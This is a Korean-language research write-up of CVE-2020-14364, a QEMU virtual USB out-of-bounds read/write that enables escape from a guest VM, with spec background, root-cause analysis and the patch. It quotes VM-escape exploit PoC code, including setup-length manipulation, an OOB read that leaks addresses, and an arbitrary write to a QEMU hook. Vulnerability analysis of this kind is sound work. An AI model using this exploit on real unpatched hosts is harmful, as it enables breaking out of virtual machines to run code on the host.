Intro
TOOR 팀 활동을 하며 분석하게 된 QEMU 가상머신 탈출 원 데이 취약점 관련 글입니다.

이번에 알아볼 취약점은 2020년 8월 31일에 공개된 QEMU의 가상 USB 디바이스 처리 관련 로직에서 발생한 취약점입니다. 5.2.0 이전 버전의 QEMU가 영향을 받습니다.
QEMU에서는 USB 스펙에 맞춰 가상 USB를 구현하고 있습니다. 취약점은 구현된 부분 중 USB 스펙에 해당하는 SETUP TOKEN을 처리하는 로직인 do_token_setup에서 잘못 설정된 USBDevice의 멤버 값과 이에 대한 적절한 후속 조치가 없어 발생하게됩니다. 이로인해 공격자는 do_token_in과 do_token_out 함수를 통해 OOB Read/Write를 수행할 수 있으며, 가상 USB가 존재하는 QEMU 시스템 에뮬레이션에서 탈출하여 호스트 머신에 임의의 코드를 실행 시킬 수 있습니다.
해당 취약점을 분석하면서 취약점 자체를 이해하기 위한 시간보다는 코드로 작성된 USB 구현과 이를 악용하는 exploit poc를 이해하기 위해 USB 스펙과 HCI(Host Controller Interface) 스펙 문서를 읽는데 할애한 시간이 많았습니다. 아직 미흡한 점이 많아 설명에 오류 및 수정해야하는 부분이 있다면 피드백 해주시면 감사하겠습니다.
본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해 본 결과로 작성하게 된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해 주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이 된 자료는 다음과 같습니다.
- https://nvd.nist.gov/vuln/detail/CVE-2020-14364
- https://n0va-scy.github.io/2022/02/14/cve-2020-14364%20qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E/
- https://conference.hitb.org/hitbsecconf2021ams/materials/D2T2%20-%20A%20Black%20Box%20Escape%20Of%20Qemu%20Based%20On%20The%20USB%20Device%20-%20L.%20Kong,%20Y.%20Zhang%20&%20H.%20Qu.pdf
- https://www.youtube.com/watch?v=dHZSAiLKvSY
Vuln
- CVE-ID : CVE-2020-14364
- CWE : CWE-125, CWE-787
Background
QEMU는 리눅스에서 동작하는 잘 알려진 가상화 소프트웨어로 주변 장치들 역시 코드로 구현되어 있습니다. CVE-2020-14364는 이렇게 코드로 구현된 가상 주변 기기 중, USB를 구현하는 코드에서 발생하게 됩니다. USB를 코드로 구현하는 과정에서 발생한 취약점이기 때문에 USB의 통신 방식을 이해하는 것이 중요합니다. 또한 공격 코드를 이해하기 위한 HCI 스펙에 대한 어느 정도의 이해 역시 필요합니다. 간략하게 취약점과 공격을 이해하기 위한 내용에 대해서 살펴봅시다.
USB - Transfer
USB가 데이터를 전송하기 위한 단위입니다. 목적 및 특징에 따라 다음과 같은 총 4개의 Transfer Type을 갖습니다.(USB Specification Revision 2.0 - 5.4 Transfer Types)
Control TransfersInterrupt TransfersIsochronous TransfersBulk Transfers
이 중 취약점은 Control Transfer에 해당하는 부분에서 발생하기 때문에 이쪽 부분에 대해서 알아보도록 하겠습니다.
USB - Control Transfers
Control Transfers는 USB를 설정할 때 쓰이는 설정, 명령, 상태 기능을 위해 설계된 Transfer Type 입니다.
Control Transfers는 다음과 같이 3개의 Transaction으로 구성됩니다.

그리고 각각의 Transaction은 패킷들로 구성됩니다. 즉, 위에서 나타난 하나의 Transaction으로 묶인 것들이 패킷입니다.
공격은 위에 나타난 Transaction 중 Setup Transaction과 Data Transaction을 이용해서 진행하게됩니다.
각각의 Transaction 가장 앞단의 Token 패킷은 다음과 같은 필드를 갖습니다.
PID는 현재 전송된 패킷의 타입을 의미합니다. 이때 Control Transfer에서 사용되는 PID의 의미는 다음과 같습니다.
SETUP:Control Trnasfer에서의Setup Transaction의 시작IN:Host가Device로부터 데이터 요청(데이터 읽기 요청)OUT:Host가Device로 데이터 전송(데이터 쓰기 요청)
USB - Setup transaction setup packet
Setup transaction의 Setup 패킷의 데이터 필드에 대한 설명입니다.

UHCI(Universal Host Controller Interface) - USB Host Controller I/O Registers
가상 USB 공격 코드를 이해하려면 HCI(Host Controller Interface) 스펙에 대해서 알아야합니다. 이 중 페이로드에서 쓰인 UHCI 스펙에 대해서 간략하게 알아보도록 합시다.
먼저 USB에 대한 처리를 위해 UHCI에서는 다음과 같이 구성된 Host Controller I/O 레지스터를 제공합니다. 앞으로 알아볼 exploit에서는 Host Controller I/O 레지스터에 해당하는 부분을 메모리에 매핑한 뒤 PORT I/O를 이용해 USB에 대한 처리를 수행합니다.

각각의 레지스터에 설정할 수 있는 값 및 구체적인 동작은 UHCI 스펙에서 확인할 수 있습니다.
UHCI(Universal Host Controller Interface) - Transfer Descriptor (TD)
다음은 공격 코드에서 볼 수 있는 TD(Transfer Descriptor)는 USB로 전송할 데이터의 특징 및 포인터를 갖고 있는 구조체입니다.
다음과 같은 형태로 구성되어있습니다.
USB 패킷 데이터로 변환되어서 전송될 데이터의 포인터 및 토큰 값에 대한 정보를 갖고 있습니다.
TD 구조체에 정보를 설정해주면 다음과 같은 처리를 거쳐 USB 디바이스에 패킷이 전송됩니다.
즉, `TD` 하나는 하나의 `Transaction`을 만들 수 있습니다.이러한 TD들은, 다음과 같은 레이아웃으로 관리됩니다. 여기 나와있는 Frame List에 대한 설명은 스펙을 참조하시길 바랍니다.(PoC에 Frame List를 레지스터에 등록하는 과정이 있습니다.)

여기까지 봤다면 PoC에서 TD 관련 및 서브루틴들에 대해서 이해하기 어렵지 않을겁니다.
RCA
RCA에 나온 코드는 QEMU 5.1.0 버전의 코드입니다.
취약점은 QEMU의 가상 USB가 TOKEN 패킷을 처리하는 곳인 hw/usb/core.c에서 발생합니다.
QEMU에서 TOKEN 패킷은 다음과 같은 usb_process_one에서 설정된 토큰 종류에 따라서 처리가 결정됩니다.
static void usb_process_one(USBPacket *p){ USBDevice *dev = p->ep->dev;
/* * Handlers expect status to be initialized to USB_RET_SUCCESS, but it * can be USB_RET_NAK here from a previous usb_process_one() call, * or USB_RET_ASYNC from going through usb_queue_one(). */ p->status = USB_RET_SUCCESS;
if (p->ep->nr == 0) { /* control pipe */ if (p->parameter) { do_parameter(dev, p); return; } switch (p->pid) { case USB_TOKEN_SETUP: do_token_setup(dev, p); break; case USB_TOKEN_IN: do_token_in(dev, p); break; case USB_TOKEN_OUT: do_token_out(dev, p); break; default: p->status = USB_RET_STALL; } } else { /* data pipe */ usb_device_handle_data(dev, p); }}Control Transfer에서 TOKEN SETUP을 받은 USB는 do_token_setup을 통해 SETUP 패킷을 처리하려합니다. 문제는 여기서 발생합니다.
현재 USB Device 정보로 설정하고 있는 setup_len이 에러 처리 로직전에 이미 설정되고 있으며, setup_len이 USB Device의 data_buf 크기보다 커져서
에러 처리 로직이 수행되어도 앞서 설정된 setup_len을 초기화하거나 처리하는 로직이 존재하지 않습니다. 이를 통해 OOB를 유도 할 수 있습니다.
static void do_token_setup(USBDevice *s, USBPacket *p){ .. s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; if (s->setup_len > sizeof(s->data_buf)) { fprintf(stderr, "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n", s->setup_len, sizeof(s->data_buf)); p->status = USB_RET_STALL; return; } ..}해당 부분에서의 잘못된 처리가 어떻게 do_token_in과 do_token_out에서 OOB를 유도하는지는 PoC 부분에서 알아봅시다.
PoC
분석을 진행한 PoC는 여기에서 확인할 수 있습니다.
OOB Read에 해당하는 부분에 대해서 분석해보겠습니다. 이해가 안되는 부분이 있다면 앞서 작성한 USB, UHCI에 스펙에 관한 내용을 보시길 바랍니다.
void exp(void) { int i; init(); //alloc a big dma memory do_setup(); //init the s->setup_len to 0xf0, in order to set the s->state = SETUP_DATA do_set_lenth(USB_DIR_IN); //init the s->setup_len to 0x7fe to oob read for(i = 0; i < 4; i++) do_read(0x7fe); //oob read base = *(uint64_t *)(data_buf + 7) - 0x73D513; heap_base = *(uint64_t *)(data_buf + 15) - 0xEB4240; system = base + 0x2ba600; uhci_state = heap_base + 0xDA48E0; data_buf_addr = heap_base + 0xEB43EC; main_loop_tlg = base + 0x129e0c0; printk(KERN_INFO"[+]the program base is: 0x%llx", base); printk(KERN_INFO"[+]the heap base is: 0x%llx", heap_base); printk(KERN_INFO"[+]the uhci state is: 0x%llx", uhci_state); printk(KERN_INFO"[+]the system base is: 0x%llx", system); printk(KERN_INFO"[+]the buffer addr is: 0x%llx", data_buf_addr);//--------------------------------------------------------------------// arb_write(main_loop_tlg, data_buf_addr + 0xc00); pmio_write(0, 2);}먼저 do_setup에 대한 부분입니다. 주석에 나와있듯, setup_len을 유효한 값으로 설정해줍니다.
do_setup(); //init the s->setup_len to 0xf0, in order to set the s->state = SETUP_DATAdo_setup의 코드를 보면 알 수 있듯, SETUP Transaction을 발생시킵니다. 여기서 길이를 0xf0로 지정하고 Setup 패킷의 bmRequestType을 USB_DIR_IN로 합니다.
여기서 USB_DIR_IN은 이후 오게될 Data Transaction에서 전송할 데이터 길이를 의미합니다.
void do_setup(void) { set_td(0x7, USB_TOKEN_SETUP); set_length(0xf0, USB_DIR_IN); reset_uhci(); enable_port(); set_frame_base(); pmio_write(0, 1); mdelay(100);}해당 코드로 인해 USB의 do_token_setup이 호출되고 처리됩니다.이 처리로 인해 s->setup_state는 SETUP_STATE_DATA 값을 갖게됩니다.
static void do_token_setup(USBDevice *s, USBPacket *p){ .. if (s->setup_buf[0] & USB_DIR_IN) { usb_device_handle_control(s, p, request, value, index, s->setup_len, s->data_buf); if (p->status == USB_RET_ASYNC) { s->setup_state = SETUP_STATE_SETUP; } if (p->status != USB_RET_SUCCESS) { return; }
if (p->actual_length < s->setup_len) { s->setup_len = p->actual_length; } s->setup_state = SETUP_STATE_DATA; } ..}다음으로는 SETUP Transaction을 발생시켜 s->setup_len을 설정합니다.
do_set_lenth(USB_DIR_IN);do_set_length의 코드는 다음과 같습니다.
void do_set_lenth(uint8_t option) { set_td(0x7, USB_TOKEN_SETUP); set_length(0xdead, option); reset_uhci(); enable_port(); set_frame_base(); pmio_write(0, 1); mdelay(100);}이때 s->setup_len은 0xdead로 설정되고, s->setup_state는 별다른 처리없이 SETUP_STATE_DATA로 남아 있습니다.
static void do_token_setup(USBDevice *s, USBPacket *p){ int request, value, index;
if (p->iov.size != 8) { p->status = USB_RET_STALL; return; }
usb_packet_copy(p, s->setup_buf, p->iov.size); s->setup_index = 0; p->actual_length = 0; s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; if (s->setup_len > sizeof(s->data_buf)) { fprintf(stderr, "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n", s->setup_len, sizeof(s->data_buf)); p->status = USB_RET_STALL; return; } ...}다시 PoC를 보면 위에서 설정된 값을 통해 OOB Read를 수행합니다.
for(i = 0; i < 4; i++) do_read(0x7fe); //oob readbase = *(uint64_t *)(data_buf + 7) - 0x73D513;heap_base = *(uint64_t *)(data_buf + 15) - 0xEB4240;system = base + 0x2ba600;uhci_state = heap_base + 0xDA48E0;data_buf_addr = heap_base + 0xEB43EC;main_loop_tlg = base + 0x129e0c0;printk(KERN_INFO"[+]the program base is: 0x%llx", base);printk(KERN_INFO"[+]the heap base is: 0x%llx", heap_base);printk(KERN_INFO"[+]the uhci state is: 0x%llx", uhci_state);printk(KERN_INFO"[+]the system base is: 0x%llx", system);printk(KERN_INFO"[+]the buffer addr is: 0x%llx", data_buf_addr);do_read를 봅시다. DATA Transaction중 TOKEN IN에 해당하는 Transaction을 발생시키고 있습니다.
void do_read(uint16_t len) { set_td(len, USB_TOKEN_IN); set_length(0xdead, USB_DIR_IN); reset_uhci(); enable_port(); set_frame_base(); pmio_write(0, 1); mdelay(100);}위 코드에 의해서 다음 do_token_in 로직이 수행됩니다.
이때 len은 s->setup_len값을 활용하여 계산하게됩니다 이 값은 앞서 0xdead로 설정해뒀습니다. 또한 s->setup_state 역시 앞선 과정에서 SETUP_STATE_DATA로 만들어두었기 때문에 OOB Read가 발생합니다.
static void do_token_in(USBDevice *s, USBPacket *p){.. switch(s->setup_state) {.. case SETUP_STATE_DATA: if (s->setup_buf[0] & USB_DIR_IN) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return; }..}
..void usb_packet_copy(USBPacket *p, void *ptr, size_t bytes){ QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;
assert(p->actual_length >= 0); assert(p->actual_length + bytes <= iov->size); switch (p->pid) { case USB_TOKEN_SETUP: case USB_TOKEN_OUT: iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes); break; case USB_TOKEN_IN: iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes); break; default: fprintf(stderr, "%s: invalid pid: %x\n", __func__, p->pid); abort(); } p->actual_length += bytes;}..위 코드의 s->data_buf부터 전달된 바이트만큼 읽게됩니다. 간단하게 정리하면 다음과 같이 메타데이터를 조작하기 위한 Setup Transaction 두번, 실제로 데이터를 읽기 위한 Data Transaction 한번으로 경계를 넘어가 값을 읽을 수 있습니다.

Patch
QEMU 5.1.0(왼쪽)와 5.2.0(오른쪽)을 디핑해보면 다음과 같은 함수들에서 패치가 이뤄졌음을 알 수 있습니다.
hw/usb/core.c::do_token_setup

hw/usb/core.c::do_parameter

두 함수 모두 연산에 사용할 지역 변수 setup_len을 만들고 이를 활용하여 연산을 진행하고나서, 해당 값에 문제가 없을때만 s->setup_len = setup_len을 통해 필드를 설정해주는 모습을 볼 수 있습니다.
References
- https://nvd.nist.gov/vuln/detail/CVE-2020-14364
- https://n0va-scy.github.io/2022/02/14/cve-2020-14364%20qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E/
- https://conference.hitb.org/hitbsecconf2021ams/materials/D2T2%20-%20A%20Black%20Box%20Escape%20Of%20Qemu%20Based%20On%20The%20USB%20Device%20-%20L.%20Kong,%20Y.%20Zhang%20&%20H.%20Qu.pdf
- https://www.youtube.com/watch?v=dHZSAiLKvSY